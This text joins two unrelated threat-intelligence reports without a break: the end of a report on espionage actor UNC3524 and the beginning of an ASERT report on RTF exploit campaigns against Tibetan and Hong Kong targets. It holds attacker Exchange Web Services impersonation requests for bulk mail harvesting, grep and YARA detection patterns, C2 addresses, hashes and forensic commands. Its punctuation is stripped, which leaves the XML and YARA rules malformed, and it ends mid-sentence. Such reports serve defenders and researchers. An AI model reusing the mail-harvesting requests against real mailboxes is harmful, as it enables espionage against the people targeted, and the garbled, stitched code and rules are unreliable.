/soap:Envelope After the enumeration of the mailbox structure, the threat actor issued a FindItem request with a Query Filter that selected all messages from a specific folder with a DateTimeCreated greater than a specific date. The date in the filter corresponded to the last time the threat actor accessed the mailbox. This meant that the threat actor would acquire all newly created items in the mailbox since the last time they had https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py https://www.mandiant.com/resources/remediation-and-hardening-strategies-for-microsoft-365-to-defend-against-unc2452 4/9 extracted data. This follows an approach that Mandiant has previously observed with APT29. Rather than target a mailbox using specific keywords, the threat actor instead extracted the entire contents over a particular date range. ? xml version1.0 encodingutf-8? soap:Envelope xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xmlns:mhttps://schemas.microsoft.com/exchange/services/2006/messages xmlns:thttps://schemas.microsoft.com/exchange/services/2006/types xmlns:soaphttps://schemas.xmlsoap.org/soap/envelope/ soap:Header t:RequestServerVersion VersionExchange2013 / t:ExchangeImpersonation t:ConnectingSID t:PrimarySmtpAddresstargetvictimorg.com/t:PrimarySmtpAddress /t:ConnectingSID /t:ExchangeImpersonation /soap:Header soap:Body m:FindItem TraversalShallow m:ItemShape t:BaseShapeIdOnly/t:BaseShape t:AdditionalProperties t:FieldURI FieldURIitem:Subject / t:FieldURI FieldURIitem:DateTimeCreated / /t:AdditionalProperties /m:ItemShape m:IndexedPageItemView MaxEntriesReturned100 Offset0 BasePointBeginning / m:Restriction t:IsGreaterThan t:FieldURI FieldURIitem:DateTimeCreated / t:FieldURIOrConstant t:Constant Value2022-01-01T00:00:00 / /t:FieldURIOrConstant /t:IsGreaterThan /m:Restriction m:SortOrder t:FieldOrder OrderDescending t:FieldURI FieldURIitem:DateTimeCreated / /t:FieldOrder /m:SortOrder m:ParentFolderIds t:DistinguishedFolderId Idinbox / /m:ParentFolderIds /m:FindItem /soap:Body /soap:Envelope 5/9 Figure 4: Sample EWS FindItem request Finally, the threat actor iterated through each message identifier returned in the FindItem response and made a GetItem request. The threat actor set the IncludeMimeContent parameter to true for the request, which resulted in Exchange returning the message in MIME format. This is important because the MIME message includes both the message body and any attachments. It is worth noting that if the messages were encrypted using PGP, SMIME, Office 365 Message Encryption (OME), or other encryption technology, then the GetItem response will only contain the ciphertext or in the case of OME, a link to authenticate and view the real message. Figure 5: Sample EWS GetItem request ? xml version1.0 encodingutf-8? soap:Envelope xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xmlns:xsdhttp://www.w3.org/2001/XMLSchema xmlns:soaphttp://schemas.xmlsoap.org/soap/envelope/ xmlns:thttps://schemas.microsoft.com/exchange/services/2006/types soap:Body GetItem xmlnshttps://schemas.microsoft.com/exchange/services/2006/messages xmlns:thttps://schemas.microsoft.com/exchange/services/2006/types ItemShape t:BaseShapeDefault/t:BaseShape t:IncludeMimeContenttrue/t:IncludeMimeContent /ItemShape ItemIds t:ItemId IdID OF MESSAGE ChangeKeyCQAAAB / /ItemIds /GetItem /soap:Body /soap:Envelope Operational Security and Infrastructure Throughout their operations, the threat actor demonstrated sophisticated operational security that we see only a small number of threat actors demonstrate. The threat actor evaded detection by operating from devices in the victim environments blind spots, including servers running uncommon versions of Linux and network appliances running opaque OSes. These devices and appliances were running versions of operating systems that were unsupported by agent-based security tools, and often had an expected level of network traffic that allowed the attackers to blend in. The threat actors use of the QUIETEXIT tunneler allowed them to largely live off the land, without the need to bring in additional tools, further reducing the opportunity for detection. This allowed UNC3524 to remain undetected in victim environments for, in some cases, upwards of 18 months. The C2 systems that Mandiant identified were primarily legacy conference room camera systems sold by LifeSize, Inc. and in one instance, a D- Link IP camera. These camera systems appeared to be infected, likely with the server component of QUIETEXIT. These cameras were directly Internet exposed, possibly through an improper UPnP configuration, and may have been running older firmware. Mandiant suspects that default credentials, rather than an exploit, were the likely mechanism used to compromise these devices and form the IoT botnet used by UNC3524. Similar to the use of embedded network devices, UNC3524 can avoid detection by operating from compromised infrastructure connected directly to the public Internet such as IP cameras where typical antivirus and security monitoring may be absent. Detection UNC3524s use of compromised appliances makes host-based hunting and detection extremely difficult. The best opportunity for detection remains in network-based logging, specifically monitoring traffic at the layer 7 level. Mandiant recommends hunting for traffic tagged as the SSH application egressing environments over ports other than 22. This traffic should be relatively small, and any findings should be investigated. Organizations can also look for outbound SSH traffic originating from IP addresses that are unknown or not in asset management 6/9 systems. These source systems are more likely to be appliances that arent centrally managed. Finally, large volumes of network traffic originating from the management interfaces of appliances such as NAS arrays and load balancers should be investigated as suspicious as well. UNC3524 targets opaque network appliances because they are often the most unsecure and unmonitored systems in a victim environment. Organizations should take steps to inventory their devices that are on the network and do not support monitoring tools. Each device likely has vendor-specific hardening actions to take to ensure that the proper logging is enabled, and logs are forwarded to a central repository. Organizations can also take steps to use network access controls to limit or completely restrict egress traffic from these devices. For host-based hunting, Mandiant recommends hunting for QUIETEXIT on devices using the provided grep commands. Most appliances that provide shell access should have the grep binary available. Find QUIETEXIT hard-coded byte string using grep: grep \x48\x8b\x3c\xd3\x4c\x89\xe1\xf2\xae -rs / Find QUIETEXIT by looking for the hard-coded password value: grep \xDD\xE5\xD5\x97\x20\x53\x27\xBF\xF0\xA2\xBA\xCD\x96\x35\x9A\xAD\x1C\x75\xEB\x47 -rs / Find QUIETEXIT persistence mechanisms in the appliances rc.local directory by looking for the command line arguments: grep -e -[Xx] -p [[:digit:]2,6] -rs /etc Remediation and Hardening Mandiant has published remediation and hardening strategies for Microsoft 365. Attribution The methodologies Mandiant observed during UNC3524 intrusions overlapped with techniques used by multiple Russia-based espionage threat actors including both EWS impersonation and SPN credential addition. Mandiant has only observed APT29 performing SPN credential addition however, this technique has been reported on publicly since early 2019. The NSA has previously reported automated password spraying using Kubernetes, Exchange Exploitation, and REGEORG as associated with APT28. While the activity reported by the NSA used TOR and commercial VPNs, UNC3524 primarily used compromised internet facing devices. One interesting aspect of UNC3524s use of REGEORG was that it matched identically with the version publicly reported by the NSA as used by APT28. At the time of writing, Mandiant cannot conclusively link UNC3524 to an existing group currently tracked by Mandiant. Acknowledgements We would like to thank our incident response consultants, Managed Defense responders, and FLARE reverse engineers who enabled this research. Thanks to Kirstie Failey, Jake Nicastro, John Wolfram, Sarah Hawley and Nick Richard for technical review, and Ryan Hall and Alyssa Rahman for research contributions. MITRE ATTCK Mandiant has observed UNC3524 use the following techniques. ATTCK Tactic Category Techniques Defense Evasion T1027: Obfuscated Files or Information Discovery T1012: Query Registry T1016: System Network Configuration Discovery T1049: System Network Connections Discovery T1057: Process Discovery T1518: Software Discovery https://www.mandiant.com/resources/remediation-and-hardening-strategies-for-microsoft-365-to-defend-against-unc2452 https://www.mandiant.com/resources/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF 7/9 Credential Access T1003.004: LSA Secrets T1003.006: DCSync T1111: Two-Factor Authentication Interception Collection T1114: Email Collection T1114.002: Remote Email Collection Lateral Movement T1021.004: SSH Persistence T1037.004: RC Scripts T1098.001: Additional Cloud Credentials T1505.003: Web Shell Command and Control T1071: Application Layer Protocol T1090.003: Multi-hop Proxy T1095: Non-Application Layer Protocol T1572: Protocol Tunneling T1573.002: Asymmetric Cryptography Resource Development T1583.003: Virtual Private Server T1584: Compromise Infrastructure T1608.003: Install Digital Certificate Execution T1059.001: PowerShell T1059.003: Windows Command Shell YARA Signatures Note: These rules are designed to broadly capture suspicious files and are not designed to detect a particular malware or threat. 8/9 rule QUIETEXIT_strings meta: author Mandiant date_created 2022-01-13 date_modified 2022-01-13 rev 1 strings: s1 auth-agentopenssh.com s2 auth-.8x-d s3 Child connection from s:s s4 Compiled without normal mode, cant run without -i s5 cancel-tcpip-forward s6 dropbear_prng s7 cron condition: uint32be(0) 0x7F454C46 and filesize 2MB and all of them rule REGEORG_Tuneller_generic meta: author Mandiant date_created 2021-12-20 date_modified 2021-12-20 md5 ba22992ce835dadcd06bff4ab7b162f9 strings: s1 System. Net. IPEndPoint s2 Response. AddHeader s3 Request. InputStream. Read s4 Request. Headers. Get s5 Response. Write s6 System. Buffer. BlockCopy s7 Response. BinaryWrite s8 SocketException soex condition: filesize 1MB and 7 of them 9/9 rule UNC3524_sha1 meta: author Mandiant date_created 2022-01-19 date_modified 2022-01-19 strings: h1 DD E5 D5 97 20 53 27 BF F0 A2 BA CD 96 35 9A AD 1C 75 EB 47 condition: uint32be(0) 0x7F454C46 and filesize 10MB and all of them Indicators MALWARE FAMILY Indicator QUIETEXIT Dynamic DNS cloudns.asia dynu.net mywire.org webredirect.org MALWARE FAMILY MD5 SHA1 SHA256 REGEORG GitHub version ba22992ce835dadcd06bff4ab7b162f9 3d4dcc859c6ca7e5b36483ad84c9ceef34973f9a 7b5e3c1c06d82b3e7309C258dfbd4bfcd ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement Copyright 2016 Arbor Networks, Inc. All rights reserved. ASERT Threat Intelligence Report 2016-03 The Four-Element Sword Engagement Ongoing APT Targeting of Tibetan, Hong Kong, and Taiwanese Interests Executive Summary In this paper, we reveal recent ongoing APT activity likely associated with long-running threat campaigns and the presumed existence of associated malcode, dubbed the Four Element Sword Builder, used to weaponize RTF documents for use in these campaigns. A sample of twelve different targeted exploitation incidents (taken from a larger set of activity) are described along any discovered connections to previously documented threat campaigns. Four vulnerabilities - CVE-2012-0158, CVE-2012-1856, CVE-2015-1641, and CVE-2015-1770 related to the parsing of Microsoft Rich Text File (RTF) documents are being leveraged by advanced threat actors to launch exploitation campaigns against members of the Tibetan community, along with journalists and human rights workers in Hong Kong and Taiwan. One of these vulnerabilities CVE-2015-1641 - has been typically used in cybercrime operations starting in 2015 and has not been widely observed in use by Advanced Persistent Threat (APT) actors until now. The vulnerabilities are being used to deliver Chinese-oriented malware payloads such as Grabber, T9000, Kivars, PlugX, Gh0StRAT and Agent. XST. Analysis of malware payloads, malware metadata and actor group Tactics, Techniques and Procedures (TTPs) provides useful insight into the malware, targeting, and links to past threat actor infrastructure. Indicator overlap reveals a connection to prior exploitation campaigns against the World Uyghur Congress (WUC) from 2009-2014 as presented in 2014 at the Usenix security conference [1]. Additional indicators suggest an overlap with the actors behind Operation Shrouded Crossbow. This recent activity matches pre-existing targeting patterns towards the Five Poisons [2] - organizations and individuals associated with perceived threats to Chinese government rule: Uyghurs, Tibetans, Falun Gong, members of the democracy movement and advocates for an independent Taiwan. This targeting scheme, along with various malware artifacts and associated metadata, suggest that the threat actors herein have a Chinese nexus. Additional malware following the same type of patterns described has been discovered since this report was written, and suggests that these generalized threat campaigns using weaponized RTF documents are ongoing. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement 2 Proprietary and Confidential Information of Arbor Networks, Inc. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement Copyright 2016 Arbor Networks, Inc. All rights reserved. 3 Vulnerabilities: CVE-2012-0158, CVE-2012-1856, CVE-2015-1641, CVE-2015-1770 The Four Element Sword builder has been observed to utilize exploit code against four distinct vulnerabilities. Each malicious document created by the builder appears to leverage three or four of these vulnerabilities in the same RTF document, given a .DOC extension. Some targets may warrant the use of newer exploit code, while others running on dated equipment and operating systems may still fall victim to the older exploits. Actors will typically only use the amount of force necessary to accomplish their actions on objectives and will not typically burn 0day exploit code or the most advanced techniques against targets that do not require them. 1. CVE-2012-0158: This is a vulnerability affecting the ListView, ListView2, TreeView, and TreeView2 ActiveX controls in MSCOMCTL.OCX in the Common Controls of various versions of Office and other software. CVE-2012-0158 continues to be an extremely popular vulnerability, used by various threat actors for years. A review of Virus Total reveals activity as early as November of 2010, with over 1000 distinct file submissions. The fact that this exploit continues to be bundled into contemporary campaigns is a testament to its longevity, although actors have incorporated more recent CVEs into their toolkits since targets are likely patching older vulnerabilities either by system replacement or through ongoing maintenance. The first public mention of this CVE being used in targeted exploitation campaigns was on April 16, 2012 [3] with additional research published on April 19, 2012 [4]. Both of those campaigns demonstrate targeting of the Tibetan community and also reveal an interest in the South China Sea. While early actors apparently developed their own exploit code, publicly available exploit code for this has been present in the Metasploit Framework since April 23, 2012, allowing any actor since then easy access to leverage this vulnerability for their own purposes. 2. CVE-2012-1856: This is vulnerability in the TabStrip ActiveX control in the Common Controls of MSCOMCTL.OCX and affects various versions of Office and other software. This vulnerability has also been used in various targeted threat campaigns, although it is detected less often than CVE-2012-0158. Virus Total reveals 85 instances of this exploit code in February of 2016, with the first submission in September of 2013, one submission a year later in September 2014, and then a substantial increase in activity starting in April of 2015. As of March 30, 2016, Virus Total reveals 353 instances of exploit code for CVE-2012-1856, indicating a substantial increase in activity and/or detection. Malicious documents containing a combination of exploit code for CVE-2012-0158 and CVE-2012-1856 were observed as early as October of 2012, however customers of VUPEN, an offensive security company, were aware of this vulnerability since September of 2010 [5], although public disclosure was not made until August of 2012 nearly two years later when Microsoft patched the bug with MS12-060. 3. CVE-2015-1641: The vulnerability involves the parsing of crafted RTF documents affecting a variety of versions of Office. Virus Total contains 130 instances of exploit code for this vulnerability, with the first submission from August of 2015. Seven instances of this vulnerability appear in specific e-mail files beginning in at least November of 2015. Several of these e-mail messages appear to be generated by actors interested in commercial and financial system compromise. An exploit for this vulnerability was being sold in the wild for 2000 in Mid-July of 2015 [6] and was posted to YouTube on July 22, 2015 [7]. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement 4 Proprietary and Confidential Information of Arbor Networks, Inc. The individuals selling the exploit code at the time appear to be associated with cybercrime operations rather than APT nation-state targeted threats. Shortly thereafter, Sophos wrote about malicious documents appearing in the wild [8] and most of the examples they discuss appear to be related to financial threat campaigns, such as a possible exploitation campaign dealing with Point of Sale systems. Later, in December of 2015, the Microsoft Word Intruder (MWI) crimeware kit incorporated CVE-2015- 1641 into its arsenal of exploit code [9]. In any event, easy access to exploit code in the underground allows targeted threat actors the means to easily and inexpensively obtain the code for their own use. In some cases in the past, dynamics of the exploit food chain has meant that exploits have migrated from advanced threat actors to cybercriminals, however they can also migrate the other direction depending upon the situation at hand. This exploit has gotten more popular and/or detected more frequently since this research was initiated started. As of March 30, 2016, 453 instances of the exploit code were detected by Virus Total. 4. CVE-2015-1770: Microsoft Office 2013 SP1 and 2013 RT SP1 allows remote attackers to execute arbitrary code via a crafted Office document, aka Microsoft Office Uninitialized Memory Use Vulnerability [10]. The vulnerability appears to be in an ActiveX control, according to Microsofts MS15-059 bulletin [11]. Some likely Italian-based exploitation activity involving the uWarrior Remote Access Trojan was observed in August of 2015 [12] using CVE-2015-1770 and other older exploit code. Other instances of exploit code have been observed, and the volume is increasing. On Feb 2, 2016 there were only 42 recognized samples of this exploit code found in Virus Total. As of March 30, the number has tripled to 128. Of the observed samples, the first submission was from August 4, 2015 and the most recent is from March 22, 2016. An exploit apparently for CVE-2015-1770 (plus CVE-2015- 1650) was being sold starting in Mid September 2015 by a group calling themselves DaVinci Coders that allows the threat actor to embed a binary of their choice inside the Office document that will then be executed when the Office document is opened on an unpatched system. Numerous crafted RTF documents containing author metadata Confidential Surfer were discovered in September of 2015, and may be connected to this release. While many instances of exploit code hitting CVE-2015-1170 were discovered, underground forum chatter suggests that exploit quality may not always be top- notch. The quality or efficacy of these particular cybercrime-oriented exploits appears to vary, based on the number of times exploitation appeared to fail during analysis. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement Copyright 2016 Arbor Networks, Inc. All rights reserved. 5 Targeted Exploitation 1: Human Rights Lawyers Tibetan Activist, Grabber Malware On December 31, 2015, a malicious RTF file (with a .DOC extension) using filename US Congress sanctions 6 million fund for Tibetans in Nepal and India.doc was mailed to two targets via spear-phishing tactics. The RTF file hashes are included in the IOC section. Exploit code targeting four distinct CVEs was detected in this and other attachments to spearphish messages and includes all four vulnerable elements: CVE-2012-0158, CVE-2012-1856, CVE-2015-1641, and CVE-2015- 1770. Targeting for sample 1: Hong-Kong Based Legal aid Group and Tibetan Activist The email was sent to a human rights associated group in Hong Kong and a BCC sent to an exiled Tibetan activist. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement 6 Proprietary and Confidential Information of Arbor Networks, Inc. The body of the document is about aid for the Tibetan community. A portion is reproduced here: Document metadata indicates that someone using the name bull was the last person to modify and save the document. The last modification date was December 31, 2015 the same day the mail was sent to targets. Rendering the Tibetan themed RTF document with a vulnerable instance of Office results in the injection of the Grabber (aka EvilGrab) malware into the ctfmon.exe process. Grabber provides all of the usual Remote Access Trojan (RAT) capabilities that any actor would want, such as the capability to remotely control the target system, list files, download and execute, spy on the user, download other code and execute commands to perform lateral movement, exfiltrate data, etc. For those seeking more background, a helpful document to understand the full capabilities of Grabber was written by Unit 42 in 2015 [13]. Inside the compromised machine, the Process Hacker tool allows us to easily observe the injected process ctfmon.exe initiating an outbound connection to the C2 180.169.28[. ]58 on TCP/8080. We can observe the User-Agent value hardcoded inside the Grabber binary (as discussed in the Uncovering the Seven Pointed Dagger document from Arbor ASERT (http://www.arbornetworks.com/blog/asert/wp- ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement Copyright 2016 Arbor Networks, Inc. All rights reserved. 7 content/uploads/2016/01/ASERT-Threat-Intelligence-Brief-2015-08-Uncovering-the-Seven-Point-Dagger.pdf). The following segment of memory reveals User-Agent activity in the screenshot below. Past analysis suggests that Grabber exfiltrates data from the client in an encrypted fashion. This may not always be the case however, as tests revealed an interesting occurence when the system was exploited a second time. System activity that occurred during the initial compromise was subsequently exfiltrated to the C2 in plaintext after the second comprise. This plaintext may allow additional, unexpected visibility for network security apparatus in the right circumstances. Below we see the tell-tale User-Agent value including the unusual series of bytes prior to the GET request followed by exfiltration of system-identifying information. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement 8 Proprietary and Confidential Information of Arbor Networks, Inc. Using Memory Forensics to Obtain a Higher Fidelity Malware Sample The original sample is obfuscated in such a manner that it is less useful for generating analytical insight, especially insight generated from static analysis. In order to obtain a cleaner sample we will need to extract it from the process that it was injected into. The Volatility memory forensics platform can help with this. First, the DumpIt tool provided in the Moonsols software package was used to generate a memory dump of the compromised system. The memory dump was taken just after successful exploitation, as indicated by the observation of traffic to the C2. We then determine the PID of the compromised process (ctfmon.exe) by using the Volatility plugin pslist. In this example, our memory dump is contained in the file EvilGrab2.raw: python vol.py -f c:\stuff\EvilGrab2.raw pslist --profileWin7SP1x86 pslist_take2.txt The malfind plugin can help us discover memory regions where code injection has occurred. Running malfind with python vol.py -f c:\stuff\EvilGrab2.raw malfind --profileWin7SP1x86 malfind_run2.txt provides us a short list of memory regions worthy of further analysis. In particular, malfind provides us with indicators of code injection at memory address 0x150000 inside ctfmon.exe, where we observe the presence of an MZ header. Other MZ headers can be found in the memory space of ctfmon.exe at addresses 0x100000, 0x7ff80000 and 0x7ffa0000. We can extract the injected code with the dlldump plugin and save those files for easier analysis. In this case, the memory address 0x150000 was the most useful location for extraction. We extract the injected DLL from the base address 0x150000 and save it to disk with the following command: python vol.py -f c:\stuff\EvilGrab2.raw dlldump --pid 3596 --memory --base0x150000 --profileWin7SP1x86 -- dump-dirctfmon_dlldump_directory ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement Copyright 2016 Arbor Networks, Inc. All rights reserved. 9 Analysis of the extracted file results in a much cleaner (but not perfect) instance of Grabber that allows the analyst or incident responder to gain greater insight into specific threat activity. For example, by using IDA Pro for static analysis on the freshly extracted file, we observe the naming scheme inside the code where threat actors have named the malware Grabber. Additionally, we can also observe the C2 (180.169.28[. ]58) and a mutex string (v2014-v05) inside the .data section of the binary. An additional method to obtain deeper insight is to use Process Hacker 2, find the RWX memory sections within the ctfmon.exe process and visually analyze for malware artifacts (as seen below). An analyst could also save the memory to a binary file to be opened and analyzed in IDA. By default the import table will not exist but some insight can be obtained. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement 10 Proprietary and Confidential Information of Arbor Networks, Inc. An example of the insight obtained via examining strings in the .data section with IDA Pro reveals some of the text strings used to represent the use of keys that do not correspond to a simple letter or number (such as SHIFT UP) that may be used when keylogging functionality is activated. IOCs C2: 180.169.28.58:8080 MD5 (spearphish): 7d4f8341b58602a17184bc5c07311e8b MD5 (RTF): c674ae90f686d831cffc223a55782a93 MD5 (IEChecker.exe): 46c7d064a34c4e02bb2df56e0f8470c0 SHA-256: (Spearphish): bacc4edb5e775d2c957022ad8360946c19f9f75ef2709c1db2d6708d53ec2cd1 SHA-256 (RTF): af2cc5bb8d97bf019280c80e2891103a8a1d5e5f8c6305b6f6c4dd83ec245a7d SHA-256 (IEChecker.exe): 7a200c4df99887991c638fe625d07a4a3fc2bdc887112437752b3df5c8da79b6 Connections to Historical and Ongoing Threat Campaign Activity: Uyghur NGO, Tibetans The C2 is 180.169.28[. ]58 TCP/8080 and is located in Shanghai, China. This IP address has been associated with a dynamic DNS provider, and has resolved as goodnewspaper.f3322[. ]org and xinxin20080628.3322[. ]org in the past. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement Copyright 2016 Arbor Networks, Inc. All rights reserved. 11 Goodnewspaper[. ]f3322.org as well as potentially related domains goodnewspaper.3322[. ]org and goodnewspaper.gicp[. ]net were listed as C2 for threat activity in a paper presented at the Usenix conference in 2014 entitled A Look at Targeted Attacks Through the Lense of an NGO [14] that analyzes targeted exploitation campaigns from 2009 and 2013 directed particularly at the World Uyghur Congress (WUC) NGO. As a result of this infrastructure overlap, we see a connection to prior activity and a larger historical sense of targeting against Uyghur interests. In addition to the goodnewspaper sites, we also see numerous other Uyghur themed sites associated to the IP address: ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement 12 Proprietary and Confidential Information of Arbor Networks, Inc. The xinxin20080628 hostname portion of one of the domain names is also interesting, as it was mentioned in a 2009 report by F-secure [15] as associated with a different dynamic DNS provider, gicp.net. The domain in that case was xinxin20080628.gicp[. ]net instead of xinxin20080628.3322[. ]org as observed here. The xinxin20080628.3322[. ]org domain only resolved for a very short period of approximately four hours on April 23, 2014. While it is of course possible that the use of this domain is a misdirection designed to point analysts in the wrong direction, it is also possible that the actor using the dynamic DNS client/script made a mistake and temporarly resolved the domain, or had need to do so on a short-term basis (to test C2 perhaps). As this is an older artifact, there could be other explanations however it is a clue worth noting that may tie modern activity to previously documented campaigns and their TTPs and threat actors. A master list of IOCs provided by Citizen Lab (released in conjunction with their reporting on various advanced threat activity) lists the domain xinxin20080628[. ]gicp.net in November 2010 [16] and the IP address being used at that time: 2010-11-19 xinxin20080628.gicp[. ]net 114.60.106[. ]156 This domain is also included in the aforementioned USENIX paper. Other campaign activities involving the xinxin20080628.gicp[. ]net domain were profiled by Communities Risk [17] and reveals activity in 2010 involving two executables delivered to a target. The payload in that case was the IEXPL0RE RAT, also known as C0d0s0. The IEXPL0RE campain discussed therein involved targeting of Tibetan and Chinese communities. The ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement Copyright 2016 Arbor Networks, Inc. All rights reserved. 13 connection to prior threat campaigns suggests that campaign activity continues and continues to evolve as new exploit code becomes available. A substantial amount of activity surrounds the domain xinxin20080628.gicp[. ]net that may be of interest in expanding potentially related context. Those interested in further explorations of threat indicators from past activity may benefit from examining malware such as the malicious RTF targeting CVE-2010-3333 (SHA-256: 14fcfccb0ae8988f95924256a38477fcc5c2c213d8a55e5a83c8c1bb67a4b6d4). This malicious RTF generates network traffic to xinxin20080628.gicp[. ]net and humanbeing2009.gicp[. ]net. Targeting of Tibetan groups with malicious RTF files and exploitation of CVE-2010-3333 is also mentioned in the aforementioned Communities Risk document. Another interesting domain overlap concerns malware observed in 2013 dubbed BLame, also known as Mgbot or Mgmbot and discussed on page 18 of the presentation given at Virus Bulletin 2013 [18]. These slides describe the use of the goodnewspaper.gicp[. ]net and goodnewspaper.3322[. ]org domains in version 2.3 of the malware payload, first observed in July of 2012. This incident is interesting because the malcode is hidden in such a manner as to appear to be an MP3 encoding library [19]. Targeted Exploitation 2: Attempted Human Rights Target, Grabber Malware While there are other instances of exploitation taking place via crafted documents using the same four CVEs, only one has a matching SSDEEP hash (6144:NwOD0nTHfnxBl7p01yDn8FJD1O6JN0MrvVburdr3QM5o1Zx0a4VgLjv9uMyb3Hx:ZbqQM5oBfv9uMt5y Gg BT5yL) as the prior sample discussed in Targeted Exploitation 1. The spear phishing e-mail in this second case appears to have been sent to the wrong target, as an apparent error in the targets email address is observed the e-mail address was entered using the number 1 instead of an l character. The message follows: ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement 14 Proprietary and Confidential Information of Arbor Networks, Inc. The e-mail was sent on Thursday Dec 31, 2015 at 19:08:25 0800 (HKT) and was submitted to Virus Total from Taiwan. The Chinese language text in the mail message, when translated to English, mentions a meteor shower and the Hong Kong Space Museum. This is a different approach than threat actors providing the usual geopolitical content, but perhaps the intent was to provide some item that may be considered personally interesting to the target. The attachment filename 12 2016 mm.doc roughly translates from Chinese as About the sky 12 2016 astronomical phenomenon not to be missed. The Word document metadata, to the left, shows our now-familiar timeframe of December 31, 2015 and a name of webAdmin as the document author and modifier. Depending upon the generation scenario at play, such document metadata may or may not be useful, but is being included inside this report to provide potential indicators that may help track down other APT activity. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement Copyright 2016 Arbor Networks, Inc. All rights reserved. 15 The original text of the document and a rough English translation is as follows: The final payload in this document exploit is also Grabber the same sample used in Targeted Exploitation 1. Therefore, this sample uses the same C2 as Targeted Exploitation 1 and other samples profiled in this set. IOCs C2: 180.169.28.58:8080 Filename: 12 2016 mm.doc MD5 (spearphish): b6e22968461bfb2934c556fc44d0baf0 MD5 (RTF): 74a4fe17dc7101dbb2bb8f0c41069057 MD5 (tmp.doc): fcfe3867e4fa17d52c51235cf68a86c2 ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement 16 Proprietary and Confidential Information of Arbor Networks, Inc. MD5 (IEChecker.exe): 46c7d064a34c4e02bb2df56e0f8470c0 SHA-256 (spearphish): 4f52292a2136eb7f9538230ae54a323c518fa44cf6de5d10ca7a04ecb6a77872 SHA-256 (RTF): 0683fac0b564fe5d2096e207b374a238a811e67b87856fc19bdf8eb3d6f76b49 SHA-256 (tmp.doc): 60ef10cce9974cdc8a453d8fdd8ddf0cad49c6f07d2c4d095ff483998685b421 SHA-256 (IEChecker.exe): 7a200c4df99887991c638fe625d07a4a3fc2bdc887112437752b3df5c8da79b6 Connections to Historical and Ongoing Threat Campaign Activity The analysis service cryptam.com contains this particular malware sample [20] and is using YARA to classify the sample using a tag of apt_north_beaver_wmonder_vidgrab. The name north beaver doesnt appear to be related to a publicly known APT campaign. Vidgrab is however another name for the Grabber/Evilgrab malware. The presence of wmonder in the YARA rule is most likely due to the use of the older Grabber C2 domain webmonder.gicp[. ]net, mentioned by Trend Micro in their 2013 2Q Report on Targeted Attack Campaigns [21]. Documents associated with the classifier apt_north_beaver_wmonder_vidgrab have been present since at least 2013. It is possible that there is a relationship between these earlier malicious documents and recently observed activity, or that the recent documents are simply a reflection of the continuation of prior campaign activity. Targeted Exploitation 3: Asian Press, Kivars Keylogger Payload On Jan 2, 2016 a spearphish mail was sent to the target. The subject for this message is [BULK] TIBET, OUR BELOVED NATION AND WILL NEVER FORGET IT. In this case, the actors have embedded the malware inside a RAR file and have positioned the RAR file as needing translation. It is not known how common it may be for authors to use the RAR format in such a case, however it does appear to be suspicious. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement Copyright 2016 Arbor Networks, Inc. All rights reserved. 17 The specific target in this case appears to be an individual working with a media and publications press in Hong Kong. The company associated with this individual has been reported to be heavily influenced by the Chinese Government. The RAR archive contains a file named brochure. doc (note the space) which is actually an RTF. Opening brochure .doc in a vulnerable environment (Windows 7, Office 2013, unpatched) results in the display of a file that appears to be corrupted and/or composed of garbage characters, as observed on the left. Triggering of the final payload results in a TCP connection to 103.240.203[. ]232:8080. This IP address is located in Hong Kong (in-country to the target). When the malware initiates an outbound connection to the server, the server responds with the following data: This information may be useful for network-based detection. During analysis, several files were created during the exploitation, including tnyjs.dll, uhfx.dat, uhfx.dll, and yxsrhsxhxdbldkc.dat. These were created in the Windows/System32 folder. Attempting to open one of the DLLs in IDA Pro resulted in a helpful pop-up message that reveals a PDB string that correlates this sample with instances of the Kivars keylogger [22]. The PDB string is Q:\Projects\Br2012\Release\svc.pdb. Analysis of this DLL sample reveals that it is designed to run as a service, which matches the design of Kivars. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement 18 Proprietary and Confidential Information of Arbor Networks, Inc. Connections to Historical and Ongoing Threat Campaign Activity: Shrouded Crossbow Several additional samples of the Kivars malware were discovered that might have an overlap with this particular campaign. The overlap is circumstantial, since the only common elements we have are the use of Kivars itself, and C2 infrastructure also being geolocated in Hong Kong. Kivars appears to be somewhat rare, with only a limited amount of samples appearing in the ASERT malware analysis repository. It is currently unknown if the malware family is closely held, or shared among numerous actor groups. Pivoting on the import hash value of the malware payload reveals a potentially related sample, an unnamed keylogger malware analyzed by ASERT on 1-20-2016 with an MD5 of a0dc5723d3e20e93b48a960b31c984c0 and a SHA-256 hash of 185fc01ec8adbaa94da741c4c1cf1b83185ae63899f14ce9949553c5dac3ecf6. This sample connected to the same C2 - akm.epac[. ]to on TCP/8088, resolving at analysis time as 103.240.203[. ]232, an IP address in Hong Kong. The domain akm.epac[. ]to began resolving to this IP address on January 2, 2016 and the domain gugehotel[. ]cn began resolving to this IP address on February 23, 2016 and continues to resolve as of this writing on March 16, 2016. The gugehotel domain also shows resolution activity between 11-7-2014 and 6-9-2015 to the IP address 107.183.86[.] that reveal a large number of passive DNS resolutions (570), which likely disqualifies the IP address for follow-up research. It is potentially interesting to note however that many of the passive DNS resolutions for this domain have the suffix domain cos-china.com. This may be related to the China Operating System (COS) which is a 